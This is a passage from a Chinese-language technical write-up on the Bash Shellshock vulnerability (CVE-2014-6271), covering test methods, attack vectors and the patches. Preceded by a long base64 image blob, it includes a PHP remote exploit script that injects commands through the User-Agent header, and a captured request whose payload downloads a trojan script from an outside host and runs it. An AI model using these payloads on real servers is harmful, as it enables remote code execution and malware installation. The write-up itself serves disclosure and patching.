Hf9qt8aP368vp7F209o1d/o+q2xjlNj0WF7+9X44UXbXwOeRngA+pvQ0NA7d+50dnbW1dX16c1nAAAvrAEUHoBBAPqbYcD4AegOwgMAAAAAAADAcxAeAAAAAAAAAJ6D8AAAAAAAAADwHIQHAAAAAAAAgOdQeEB333eNm7AiOTk5dOkYhuXk5KCXz549u3HjRmhoKHmla9euJe59GxgYeP78+cbGxh7vvKtb/s2bN1dUVHR2dtbW1u7YsYO4at7ExGT37t2NjY1NTU0pKSnETXjo0unweLwDBw7IZDK5XH7kyBFzc3Nye/r5+cnl8uXLl/dYWwAAAAAAAIyJOTxAj3Dz9fW9cOECeoqbr6/v+PHj6dIxDMvJyTl16tTEiROFQuGZM2fa29s1HmXA4XDu379P3Jlx9uzZX3zxxfr161kO97XNn5eXt3LlyoCAgGXLlikUisTERJS+bt26hoaGkJCQoKCgx48fb9y4kTmdzldffVVdXT1z5swZM2ZUVlZ+/fXXGu05YcKEJ0+exMbG9lhVAAAAAAAAjIw5PCCyZWZmZmVlkT9OTs/Jydm/fz9atrGx6erqWrp0qXqGhQsXVldXa9z7VigUshzu65Yf2bdvH/EMWqlUunXrVrQcFxf3119/MadT4nA4TU1NxG3pP/zww5aWFlNTU6I9HR0d79+/v2vXLq3qCQAAAAAAgHH0aXhgZmbW2dm5bNky9QzXrl0jP2DVMOHBsWPHsrOzMQyztLTEcTwsLAylh4SE4DhubW1Nl05XoKurK47jf/vb39BLgUCA47inpydqzzfeeOPmzZsHDx7UqpIAAAAAAAAYjXp4oKGX4QGPx9u5c2d3d/fEiROJd6dNm9bS0jJs2DCNcgwQHnh4eCgUiuDgYAzDxo0bh+O4n5/f6dOnz5w54+3tjeP4+PHj6dLpygwICMBx3MPDA71EH58xYwZqz0ePHuE4HhUVxb6SAAAAAAAAGJN6eLB06VJ0FUFkZGRvwoPu7m6VSoXjuFwu17gzUlZWVmpqKrmcvg4P7OzsysvLExIS0EsiDEhLS0tLSyOHBxrpdMUyhwc///zzpk2bGhoa7O3tWdYTAAAAAAAAY+qLyUXffvutt7e3u7u7qamp+lsuLi4dHR2Uo+0+DQ+srKwKCgrS09OJFMpJRDY2NnTpdCW7ubkxTC4KDAzkcrm//fbb6dOnWW4XAAAAAAAAxtSn1x5oSElJOXv2LOVbdMN9BwcHjRsfMecn4/F4ubm5J0+eNDExUU+XSqVbtmxBy7GxseqXJlOmU+JwODKZjOHSZFRVlUoVHh7eY1UBAAAAAAAwMoOFB7a2ts3NzUFBQRrpVlZWvr6+ixcvxnF89uzZvr6+ZmZmxLulpaVlZWXs85OdO3fujz/+EAqFaN6Up6cnSl+/fn19fX1wcPD06dMfPXpE3MCULp3O3r17q6urQ0JCZsyYce/ePfKNTTEM++qrr+rq6uzs7JiLAgAAAAAAwMgMFh7ExMQQj0JThybw0F0STQ4PmPNr4HK5GpkfPHiA3kKPP2tqapLJZOTHopHT6Zibmx8+fFgulzc3Nx85csTCwgIjtaelpWVVVdXx48eZiwIAAAAAAMDINC4d7iNcLreqqop4FBoAAAAAAACgPzJMeODk5JSQkKDxKDQAAAAAAABA/2KY8AAAAAAAAAAwAEB4AAAAAAAAAHgOwgMAAAAAAADAcxAeAAAAAAAAAJ4bcOGBSCSKi4szdi0AAAAAAAAYjNSfe4DjeEtLS35+/ltvvcXms+jRxX1Rqx9++AEnycnJwfo+PNi8eXNFRUVnZ2dtbe2OHTuIuy2dOnVKvTKhoaHM5YwaNerbb7+VyWRKpbKoqCgiIsIw9UTPbWhsbGxqalJ/bkNgYOD58+cbGxspnzZtYmKSn5+P4/jo0aOZ10tXDnP5ZAztuWTJkvLy8o6Ojqqqqrlz5zKXQ7e9Hh4ev/zyi1KprK+vT05O1nhmNqV//OMfN2/efPbs2b179/75z39iGLZmzRocxzdt2oQybNq0CcfxmJgYhv4JAAAAADCwqYcHkZGRAQEBn332WWdnZ3h4eI+f7bvwwMXFBT3k+MKFC5cvX0bL48ePx/o+PMjLy1u5cmVAQMCyZcsUCkViYiJKP3XqVEZGhu9/WVlZMZfz66+/isXiGTNmeHt7R0dHf/LJJ4ap57p16xoaGkJCQoKCgh4/fkw89Xn27NlffPHF+vXrKYfva9askUgkbMIDunKYyyeja8+5c+e2tbWtXbvW398/LCyMeLQcHbrtLS8vP3funLu7e2BgYGVl5YYNG5jLiY6Obm9v//jjjz09PWfNmrVr1y4Mw9asWVNTU1NSUoLylJSU1NTUxMTEMPRPAAAAAICBjfKpyf/+97///PNPtLxgwYKSkhKlUtnY2Hj48GE0jHNzc6P76pTD4Wzfvv3Ro0dKpfLSpUtOTk7qq7O3tx81ahT76pGfyiwSiXbu3Jmdnd3e3l5cXEyMRNXDhqioKKlUqm1TkO3bt6+wsBAtnzp1Kjk5meUHbWxscBz38/Mjv0XXPhKJ5MiRI8XFxQ0NDTk5OSNHjtStnlKpdOvWrWg5Li7ur7/+Us+JIjqN4bubm1tFRcVrr73GJjxgKIchnbzf6drz2rVrsbGxdOsll0O5vePGjcNxXCgUovTVq1dXVFQwbA6Xy62rq/v000810lHUVFRU5Orq6ubmVlhYKJFIYmJiiAx0TxMHAAAAABioKMODuXPn4jhuZ2eHYVh0dHRERISzs/PkyZPz8/P3799PfJby14Mvv/yytLR06tSp7u7uGRkZBQUF6u+WlpaWlZWxrx5leFBfXx8eHu7j41NSUvLNN98Q6XoPD44dO5adnY2WT5061dTU1NHR8eDBg02bNg0ZMoThg0OHDm1rayO+yVZH1z4SiaSxsdHV1ZXL5Z44ceLMmTM61NPS0hLH8bCwMJQeEhKC47i1tTWRkzx8R9OK5s6dGxgY2HfhAXm/U7bn0KFDVSpVdHR0aWlpfX39d999pxEmaZRDt72urq44jvv4+KD0Dz/8sLu7m8fjMW+Op6enRjoKD+Li4uLi4uLj42NjYyE8AAAAAMAgRxkeTJ06Fcdxb29vjcyLFi1S/xaWHB4MHTpUoVBMnz4dvbS2tu7u7lafdKGX8ODQoUNoedWqVcXFxUS6fsMDDw8PhUIRHByMXi5evHjOnDn+/v4bN27s6OjocbLQhx9+2N7efvfu3YMHDxLjV4b2kUgk+/btQ+lTpkzp7Ozscf4SuZ7oW3M/P7/Tp0+fOXPG29sbx3H19icP39esWYNCEQOHB5Tt6eTkhOP47du30VvXr18/f/48Qzl022tiYvLw4cMDBw6Ympry+fzr16/jOO7g4EC3Oe+88w4RR23atEmlUqlUqpdffhmFB25ubsXFxSUlJa6urhAeAAAAAGCQowwP/P39ifBAKBSKxWKFQoEmEdXU1BCfJYcHXl5e5Es2p02bpnP1KMMD4lLRqKgoIlzRb3hgZ2dXXl6ekJBA+e7u3bvZBDl8Pn/JkiUHDx5sbW3du3cvxtg+6uPOYcOGUYZnPdaTGC6npaWlpaX1GB64urrW1dU5OjpifRweMCPaE9Wf2I+hoaHd3d02NjZ0H2TY3pCQkAcPHnR2djY3N6NLiseMGUNXjnp4MHLkyOnTp+M47uvri8IDDMN+++03dAUChAcAAAAAGOQYJheNGDGCw+HU1tbu2bMHTTSKiIh48OAB8Vm68ECrefPMKMMDyjDg8uXLRPrSpUt7Ex5YWVkVFBSkp6fTZfjggw+amprYF/jWW291dXXZ2toytI9EIiHm3I8YMQLH8cmTJ2tbT8rJNurDa43h+6JFi7q6upRKpVKpfPbsGY7jSqXyH//4R49bpN/wgGhPa2trHMf//ve/o3QPDw8cx11dXek+yLy9JiYmTk5OFhYWs2bN6ujoMDU1Zd6ciRMnopd8Pl8jPAgJCUG/z0B4AAAAAIBBjvnSZPTtLPGN8ubNm9XDA4FAgOO4+i0j0Zz7t99+m251Dg4ODHM8yNiHBz/++OO2bdvQ8saNGzXCAz6fz/DlsToej5ebm3vy5EmGW2EmJSVpNUXK09MTx3FHR0eG9pFIJJmZmWh5xowZKpVK/ZoB9vWUSqVbtmxBy7GxscyXJltbW0/8r8jISBzHp0+fbmtr2+MWaRseMO939fa8d+8ecZehV199tbu7W70+5HKYtxc5dOjQr7/+yrA5pqamT548IdZLDg8IEB4AAAAAYNqeQ2kAABrhSURBVJDTuLHp1KlTExMTiRub8ng8uVweFRWFYdiECRMePnyoHh7w+fyurq4FCxZYWFgQX80mJSXV1NTMmTPHyckpLCzs5MmT6qvTy7UHlOFBYmJiYWEhj8fj8/k3b97UCA9EIlFdXR2bNZ47d+6PP/4QCoXobpXoclVra+v09PSwsDChULhmzRqlUonui88gLy9vyZIlXl5ewcHBYrGYmARF1z4SiUShUMyfP9/Dw+PKlSvff/+9DvXEMGz9+vX19fXBwcHTp09/9OgRcXm0lZWVr6/v4sWLcRyfPXu2r6+vmZmZeoEsJxfRlcNcvsZ+Z2jPrVu31tbWohvC5ufnazxMgNx/6Lb39ddfDw8PR/25q6vrjTfeYN6ujz/+uLW1NTo6etKkScuXL8dxnLj2QD0bhAcAAAAAGOQ0HovW2toqkUjUn0U1b968ysrK6urq/Pz8+Ph49fAAw7D4+PinT5/i/3tj08TExJqaGpVKVVlZuWfPHvX8fRce2NnZ/frrr42Njfn5+Z9//rlGeHDjxo2ioqIeV8flcjUuDEDbi76ql8lkaKPWr1/fY1FJSUm3bt1Cc9/Pnz/v5uaG0unaRyKRpKSkFBUVoRue2tvb61BP7L+PCWtqapLJZOqPCUMTb9Q5Ozurl8kyPKArh7l8jf3O0J6mpqapqalPnz5tb28/d+6cRn3I/Ydue99+++3q6uqOjo7y8vJFixYxbxSyYsUKqVTa0dFx7969devWDRkyBMIDAAAAALxwUHgwuJmbm3d0dERGRhq7IkwkEsmaNWuMXQsAAAAAAPBiexHCg5kzZ96+fZvhWoL+AMIDAAAAAABgfC9CeDAgQHgAAAAAAACMD8IDAAAAAAAAwHMQHgAAAAAAAACeg/AAAAAAAAAA8ByEByyp31D1hZKSkrJjxw69FLV69eqCggK9FMXGtm3bUlNTDbY6AAAAAIDBgAgPRo0a9e2338pkMqVSWVRUFBERYdyK6cDExKS+vl4mkxHPaNOj3oQHa9euvXHjBlrevHlzRUVFZ2dnbW3tjh07uFwu82e1zR8YGHj+/PnGxkaNpxefOnVK/aEEoaGhbGru4OAgl8tHjhyJXg4bNgx9vLu7++nTpydPnmR+PoOGHsMDjad3+/r6kp/PQIYe1UxOt7Ozk8lk5Ec4AwAAAAAAWkR48Ouvv4rFYvS02ujo6E8++cS4FdPBK6+8UldXV11d/eqrr+q9cJ3DAw6Hc//+/XfffRe9zMvLW7lyZUBAwLJlyxQKRWJiIvPHtc0/e/bsL774Yv369eTwICMjw/e/rKys2FR+69at2dnZxEsUHrz33nuTJk2aN2/e3bt3z507x6YcxMDhAYZhZ8+eTUhIYF9DAAAAAIAXHQoPbGxscBz38/MjZ+BwONu3b3/06BF6mq+TkxPxVmZmZlpaWnJyclNTU2tr68cff/zyyy93dnYOGzYMZbCxsXn27NnUqVO1LYd4y97eftSoUSy3ZefOnceOHTt48KD6o5olEsmRI0eKi4sbGhpycnKIL8IXLFhQUlKiVCobGxsPHz6sPlyeOnXqlStX2tvb6+vriaJEItHOnTuzs7Pb29uLi4uJkTfDdiELFy6srq6m/NZ/3759hYWFLLdOq/xoxKwRHiQnJ7NfF1JaWrpy5UriJQoPQkJC0MtNmzY9fvwYLdO1A5/P/+mnn9BPUnv27NE5PKDcX25ubhqPaiae3o1ER0f/+eef2m41AAAAAMCLC43Fhw4d2tbWtnHjRnKGL7/8srS0dOrUqe7u7hkZGerDu8zMzCdPniQkJFhZWTk6Ok6bNg3DsDt37kRFRaEM7777bnV19ZAhQ3QoByktLS0rK2O5LWVlZZGRkX//+99v375NJEokksbGRldXVy6Xe+LEiTNnzqD06OjoiIgIZ2fnyZMn5+fn79+/H6U7Ozu3tLTs3r3bzc3Nx8fnX//6F0oXiUT19fXh4eE+Pj4lJSXffPNNj+2DXLt2bcOGDZQVPnbsmPp38z1in58yPGhqauro6Hjw4MGmTZvQTmFmbW3d1dUlFAqJFPXwYNSoUf/3f/9H/HpA1w5ZWVlXr15Fvza0trbqHB7Q7S+M8dcDHx+f7u5uIl4FAAAAAAA9IL6q//DDD9vb2+/evXvw4MGwsDCUOHToUIVCMX36dPTS2tq6u7t7/Pjx6GVmZmZxcbFGgbt27SKG4N9++21KSopu5SDswwNnZ2eVSmVnZ2dra9vZ2TlhwgSULpFI9u3bh5anTJnS2dlJnlezaNGiiooKtLxjxw7Kb+hFItGhQ4fQ8qpVq1CFmbcLw7Bp06a1tLRQDk89PDwUCkVwcDCbrdM2Pzk8WLx48Zw5c/z9/Tdu3NjR0cFm8pi3tzeO42PGjCFSUHjQ1dWlUqlwHN+/f7+1tTVG3w7W1tYqlYqY60UZPqlD4YEG8uQi9f2FMYYHI0aMwHH85Zdf7nFjAQAAAAAAhv3vnYv4fP6SJUsOHjzY2tq6d+9eDMO8vLzIwzXi2/3MzEz1L3GRgIAAhUJhbm4+dOjQ5ubmoKAg3crR1urVq69evYqW8/Pz161bh5YlEklMTAxaRqNbb29vDMOEQqFYLFYoFKgyNTU1KM+5c+fQtmsQiUSbNm1Cy1FRUWh4yrxdGIZlZWVR3jzHzs6uvLyc/bR4bfOTwwN1u3fvZhN0BQQE4DiuHtugBvzggw8EAsHevXtra2vt7Oww+naYPHkyjuOjR49GH9+wYQOb8GDp0qXoAonIyEgiPKDbXxhjeGBubq6xRwAAAAAAABPKG5u+9dZbXV1dtra2aNhHzNfXkJmZiX4cUDdkyJCampr58+e/8cYbdXV1JiYm2H+Hj1qVo61Lly51dXUplUqlUqlSqX755ReULpFIYmNj0TL6Lnny5MkcDqe2tnbPnj1odBsREfHgwQOU59y5c5SVUb80OSoqSiqV9rhdLi4uHR0d6j8mIFZWVgUFBenp6Sw3Tdv8WE/hwQcffNDU1NRjIe7u7jiOjxs3jkhRn1w0ZMiQP//884svvsDo2wH9/sDn89HLtWvX6ja5iGF/YYzhwejRo3EcnzRpUo8bCwAAAAAAMIwmPPD09MRx3NHREV2T8Pbbb1N+lm5Yn5qaeuzYsQMHDhCzenQrB8MwBwcHBweHHrfCyspKqVS+8847EydOnDhx4jvvvNPR0WFra4thmEQiyczMRNlmzJihUqmsra3HjRun/q325s2bieEmw+QicnjAvF0pKSlnz57VSOTxeLm5uSdPnkSBU4/bq21+hDk8SEpKYvPrAZfLVSgUr732GpGicWny8uXLGxoaeDweXTtYWVmpVCri6oW0tDTdwgOG/YVhmEAgwHGcsn1mzJjR3t5uZmbW48YCAAAAAAAMUwsP8vLylixZ4uXlFRwcLBaLibndSUlJNTU1c+bMcXJyCgsLO3nyJPFZumF9SEjI06dP6+rq1G+ur0M5GOtrD8LDw5ubmzkcDnrJ4XDkcvnChQsxDJNIJAqFYv78+R4eHleuXPn+++8xDOPxeHK5HF1CPWHChIcPHxLDTeLSZFdXVy8vr88++wylU4YHDNtla2tLzK1Sd+7cuT/++EMoFKL5M56enszbq21+KysrX1/fxYsX4zg+e/ZsX19fMzMza2vr9PT0sLAwoVC4Zs0apVL5z3/+s8dWxTDs8uXLxJQqjBQeWFlZNTc3R0dHM7TDmTNnMjMzORzOSy+9VF9fr1t4wLC/MAzj8/ldXV0LFiywsLDQeORFbGxsXl4emy0FAAAAAAAYphYeJCUl3bp1q7Ozs7m5+fz5825ubiidw+EkJibW1NSoVKrKykr1e4bSDes5HM6TJ0+ePn2qfjdPHcrBWIcHR44cuXjxonrK+fPn//Of/2AYJpFIUlJSioqK0A03icd4zZs3r7Kysrq6Oj8/Pz4+Xn24SdzYtLGxkbgOgS48oNuumJgY4lFoBC6XqzFBX3295O3VNj+GYSEhIRofQcPr3NxcmUyGKrl+/foemxT54IMP1H9L0QgPMAzbt29faWkpQzuMHDny4sWLjx8//u23344eParznYsY9heGYfHx8U+fPsVJNza9fv36smXLWG4sAAAAAACgnlw0mEgkkjVr1hh4pVwut6qqingU2sDF4/EePnzo6+tr7Irowtvbu7a21sLCwtgVAQAAAAAYOCA86AtOTk4JCQmUj0IbcBYuXLhq1Spj10IXK1asGAQRGgAAAACAQUF4AAAAAAAAAHhu0IcHAAAAAAAAALYgPAAAAAAAAAA8B+EBAAAAAAAA4DkID4BRiMXimJgYunfj4uJEIlHflc+e+g1tAQAAAAAGP/XwAIc/+IO//voHAAAAAGAIGuFBvyIUCnG8ryq1bt26hoaGkJCQoKCgx48fb9y4Ub/59Ui3duBwOPfv3++LO3vqpT76+na/r8vvJ78e9LdjEwAAAACDFhEeLFiwAMcwpVLZ2Nh4+PBhKysr9Wz29vajRo1iWWZmZmZaWlpycnJTU1NraytahYWFxeHDh2UyWXNzc0ZGhqWlJcpMme7m5qbx6F+Np+Fq1MfS0vLu3bvEtnz00UdVVVU2NjYM9ZdKpVu3bkXLcXFxf/31F/P2apvfKO2gbuHChdXV1erPXuhX9RGLxampqQUFBUqlUiQSjRkzBqVHRESgkjUmF4lEotTU1NzcXLlcXlxcPHbsWN3KX7BgQUlJCbmfm5ubHzt2TCaTPXv2rKSkRCAQEOvduXNndnZ2e3s75XoNA8IDAAAAABgIMaSOjo7GMczZ2Xny5Mn5+fn79+9Xz1ZaWlpWVsayzMzMzCdPniQkJFhZWTk6Ok6bNg3DsK+//loqlfr5+QkEgvLy8n379qHMdOkY47fU5PoEBQXJ5XIXF5eXXnpJLpe/9tprDPktLS1xHA8LC0MvQ0JCcBy3trbWV34jtgPh2rVrGzZs6Lf1EYvFCoVi/vz5EyZMyM3NvXjxonpm8rUHIpGorq7O3d3dzMwsJyfnm2++0a386OjoiIgIcj+PiYm5c+eOQCBwdHQMDw/38/Mj1ltfXx8eHu7j41NSUkJer2FAeAAAAAAAA6GcXLRo0aKKigr1bNqGB8XFxeopQ4YMkclkixcvRi8jIyObm5tNTEzo0tFLbYehycnJeXl5ly5dSktLY84/btw4HMf9/PxOnz595swZb29vHMfHjx+vr/zGbQcMw6ZNm9bS0jJs2LB+Wx+xWJyZmYmWAwICuru7R4wYQbxLGR4Qu3XFihUaG6Jt+Yh6P9+9e7fGLyHEeg8dOoSWV61apbFeg4HwAAAAAAAGQoQHQqEQxzCFQoGmdtTU1OhcZmZmpsaPDyNHjsRx3MfHB7308vLCcXz06NF06f+/StrMcefxeLdv366srLSwsGDOSQz309LS0tLSyMP9XuZHjNUOGIZlZWWlpqb25/qIxeJNmzahZRsbGxzH/f39iXcpw4P4+Hi0HBUVpRG+si9fKBSiHxY0+rm/v39ra2thYWFycnJwcLD6eolyyOs1GAgPAAAAAGAgKDzgcDi1tbU4htnZ2WEYFhER8eDBA53LzMzMTElJUU8xzDDUzc2tubm5paVl0qRJzDkpJwupX6vQy/yIsdrBxcWlo6ODHL30q/qQh+/EfB6MJjwgLhGOioqSSqU6lI/6+Z49eyj7OZ/Pf++9906cOKFSqZYuXdrjeg0JwgMAAAAAGAgKD9C348QQZPPmzRrhgYODg4ODA8syycNQ8mSVlpYWykksKB29FAgEOI4TL5nrw+Fwrl69mpSUtH379qKiIvVLcinzS6XSLVu2oOXY2FiNS417n99Y7YBhWEpKytmzZ8mZ+1V9xGLx8ePH0XJAQEBXV9fw4cOJd7UKD9iXj/o5EeeQ+zmSnp7+3Xff9bheQ4LwAAAAAAAGgsIDHo8nl8vREGTChAkPHz7UGDZpe+2BxjAUw7D09HSpVDplyhSBQHDz5s0DBw4wp2MYxufzu7q6FixYYGFhYWpqylyf+Ph4qVTK4/HMzMzKysq2bdvGnH/9+vX19fXBwcHTp09/9OiRxo1Ke5/fWO1ga2vb3NwcFBSEkfSr+ojF4tbW1rlz57q7u+fm5mZnZ6u/yz480Kp81M+joqIwUj9fvnx5eHj42LFjBQJBWVnZ9u3bmddrYBAeAAAAAMBAiGsP5s2bh2NYdXV1fn5+fHy83sMDS0vLo0ePosk/x48fJ24oSZeOxMfHP336lHwDTY36+Pj4tLW1BQYGopdCobC9vV0oFDLU38TEZPfu3U1NTTKZLCUlhcPhMG+vtvmN0g4YhsXExNy4cQOj0q/qg248ev36daVS+fPPPxO3Q5VKpRr3TkX3EqUbpmtb/rx58yorK8n9/P333y8rK+vo6Ghqajp69Chxg1cIDwAAAADwYunPj0UD2uJyuVVVVX3xKDTd9HV9+tv29h04NgEAAABgIBAeDCZOTk4JCQka110YUV/Xp79tb9+BYxMAAAAABgLhAQD9HxybAAAAADAQCA8A6P/g2AQAAACAgUB4AED/B8cmAAAAAAwEwgMA+j84NgEAAABgIER4IBaLGYYg5PvQD1ZisTgmJobu3b5rB2Otd6DUp7W1Fd3ndOLEib0vbcD1ZwgPAAAAAGAgLMODN998c8OGDYapErPAwMDz5883NjYSd8TXb37mYbF+22Ht2rXEPfuNtV46fVEfNutlwOPx9BUe9J/+zBKEBwAAAAAwEJbhQf8xe/bsL774Yv369SyH+9rmZx4W6xGHw7l//z5xz35jrZeO3uvDcr0M9BgeDDgD4tgEAAAAwGCgER4UFBQolUqRSDRmzBiUHhERgSZ1aEzGEIlEqampubm5crm8uLhYY+Rtb29PPKeWgaWl5d27d4k6fPTRR1VVVTY2Nj2WIxQKKYf7vc+PnrZrgHZYuHBhdXU1cc9+Y63X3Nz82LFjMpns2bNnJSUlAoGgL+pDXi9dfgsLi8OHD8tksubm5oyMDOLpxRhNeECX387O7sKFC0ql8saNG0lJSQUFBb2sv3FBeAAAAAAAA9EID+bPnz9hwoTc3NyLFy+qZyPP1RaJRHV1de7u7mZmZjk5Od988436u6WlpWVlZWwqEBQUJJfLXVxcXnrpJblc/tprr7Eph2643/v8YrFYoVAYoB2uXbumPr/FWOuNiYm5c+eOQCBwdHQMDw/38/Pri/qQ10uX/+uvv5ZKpX5+fgKBoLy8fN++fcRHKMMDuvynTp0qKCjw9PScM2eOXC4nwgOd629cEB4AAAAAwEAoJxcFBAR0d3ePGDGCyEY5nEpLS0PLK1asKC4uVn+XfXiAYVhycnJeXt6lS5eIAnssp0/Dg8zMTLTcd+0wbdq0lpaWYcOGGX29u3fvzsnJIefUb33I66XMP2TIEJlMtnjxYpQeGRnZ3NxsYmKCXpLDA7r8lpaWnZ2dM2fOROmHDh1iEx4w1N/oIDwAAAAAgIFQhgc2NjY4jvv7+xPZKIdT8fHxaDkqKqqiokLnOvB4vNu3b1dWVlpYWLD8CN1wv/f5xWLxpk2b0HLftUNWVlZqamp/WK+/v39ra2thYWFycnJwcHAf1Ye8Xsr8I0eOxHHcx8cHpXt5eeE4Pnr0aPSSHB7Q5ff29sZx3N7eHqWvW7eOTXigr/7cFyA8AAAAAICBMIQHxDwTjGY4FRcXh5ajoqKkUqnOdXBzc2tubm5paZk0aRLLjxgyPNB7O7i4uHR0dIwfP74/rBfDMD6f/9577504cUKlUi1dulTv9aFcL2V+44YH+urPfQHCAwAAAAAYCN3koq6uruHDhxPZtB1OOTg4ODg4sKkAh8O5evVqUlLS9u3bi4qKiEtXmcuhG+73Pr9YLD5+/Dha7qN2SElJOXv2rEaisdarLj09/bvvvtN7fSjXS5mfPFmopaWFmFzE4XC6u7uJi6cZ8qPJRa+++ipKP3jwIIQHAAAAAACsaIQHc+fOdXd3z83Nzc7OVs+m7XCK/bUH8fHxUqmUx+OZmZmVlZVt27aNuRwrKytfX9/FixfjOD579mxfX18zMzM95heLxa2trX3XDra2ts3NzUFBQRrtYKz1Ll++PDw8fOzYsQKBoKysbPv27fqtD9166fKnp6dLpdIpU6YIBIKbN28eOHBA/VO///57Wlqag4MDEavQ5UeXJnt4eISGhj59+hTCAwAAAAAAVjTCg+vXryuVyp9//pm4LaZUKsX/F/oOXi/hgY+PT1tbW2BgIHopFArb29uFQiFDOSEhIRr1cXZ21mN+dEPPvmuHmJgYykeDGWu977//fllZWUdHR1NT09GjR4kbg+qrPnTrpctvaWl59OhRNNns+PHjVlZW6p965ZVX7t27p35bUrr8I0aM+Omnn5RKZWFh4a5duyQSSW/a0+ggPAAAAACAgRDhAQZDkL7H5XKrqqp682gwWK8OPv/889OnTxu3Dr0ExyYAAAAADATCA0NycnJKSEjQuL4C1tsXAgICZs2aZWlp6eXlVVVVFRkZafg66BEcmwAAAAAwEAgPwKAUGhp6586dzs7Ourq6zZs3G7s6vQXHJgAAAAAMBMIDAPo/ODYBAAAAYCAQHgDQ/8GxCQAAAAAD0QgP4A/+4K9//gEAAAAAGIJ6eEBYvXq1xn3iQW8MpvYUi8UxMTF075KfJ/Ci1ae1tRXdL1X96c46M3z9AQAAAPCie2HDg82bN1dUVHR2dtbW1u7YsaPHu+tom1/dQGnPtWvXUj6jQB3zcPzNN9/csGHDQK8Pm/Uy4PF4+goP9NueAAAAAAA9e2HDg7y8vJUrVwYEBCxbtkyhUCQmJuo3v7oB0Z4cDuf+/fs9PqOAeTg+COrDcr0M9BgeAAAAAAAYGhEe8Pl89JTZoqKiPXv2EMPZBQsWlJSUKJXKxsbGw4cPE0+l5XA427dvf/TokVKpvHTpkpOTE4Zhb7311l9//fX7778/ePBg9erVTU1NEonE1NQUwzALC4vDhw/LZLLm5uaMjAzi6bwikSg1NTU3N1culxcXF6NH2BLs7e2J5/UysLS0vHv3LrEtH330UVVVlY2NDcty9u3bV1hYyH69bPIPuPZcuHBhdXU18auIubn5sWPHZDLZs2fPSkpKBAIBSkdPUy4oKFAqlSKRaMyYMSg9IiICTarRmAwzsOpDXi9dfrr2x2jCA7r8dnZ2Fy5cUCqVN27cSEpKIvqJzvUHAAAAAOiN/wfHS9AYFH/4hQAAAABJRU5ErkJggg==" alt="" />
5. 漏洞的POC、测试方法
0x1: 本地SHELL环境中测试是否有漏洞方法
poc:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" expected result:
vulnerable
this is a test //如果出现这个结果,则说明本机的bash存在漏洞
0x2: C程序
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h> int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL }; execve(argv[], argv, envp);
perror("execve");
return ;
}
0x3: 自动化测试方法
<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ Test CGI Code : #!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Bash-is-Vulnerable" */
error_reporting();
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n"); }
$url = $x['u'];
$cmd = $x['c']; $context = stream_context_create(
array(
'http' => array(
'method' => 'GET',
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
)
)
); if(!file_get_contents($url, false, $context) && strpos($http_response_header[],"") > )
die("Command sent to the server!\n");
else
die("Connection Error\n");
?>
除此之外,还可以使用
http://shellshock.brandonpotter.com/
0x5: 抓包
GET /yourip/cgi-bin/xxx.cgi?id= HTTP/1.1
Host: your.hostname.com
User-Agent: '() { :;};' /usr/bin/wget http://muma.com/muma -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
0x6: 其他攻击向量
. httpd
) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源 ) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash
黑客可以通过开启了CGI的httpd服务器进行远程代码执行 . Secure Shell (SSH)
对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量 . dhclient
动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。
黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改,可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行 . CUPS . sudo . Firefox
Relevant Link:
http://www.exploit-db.com/exploits/34766/
http://drops.wooyun.org/papers/3064
http://blog.csdn.net/jiayanhui2877/article/details/39584003
6. 漏洞的修复Patch情况
0x1: 漏洞的修复思想
从攻击方法上来看,这种漏洞属于边界检查缺失导致的代码注入漏洞,所以我们的修复思路也应该从这两个方面入手
. 进行正确的边界检查,严格区分函数定义和代码注入
. 对输入参数进行参数化防御,不允许除了允许范围之外的参数传入
builtins/common.h
/* Flags for describe_command, shared between type.def and command.def */
#define SEVAL_FUNCDEF 0x080 /* only allow function definitions */
#define SEVAL_ONECMD 0x100 /* only allow a single command */
builtins/evalstring.c
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
internal_warning ("%s: ignoring function definition attempt", from_file);
should_jump_to_top_level = ;
last_result = last_command_exit_value = EX_BADUSAGE;
break;
}
..
if (flags & SEVAL_ONECMD)
break;
0x2: 修复Patch的一波三折
为了修补这个漏洞,redhat官方前前后后折腾了好几次
http://www.cnblogs.com/LittleHann/p/3993927.html
0x3: GNU/Linux发行版社区发布的补丁
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
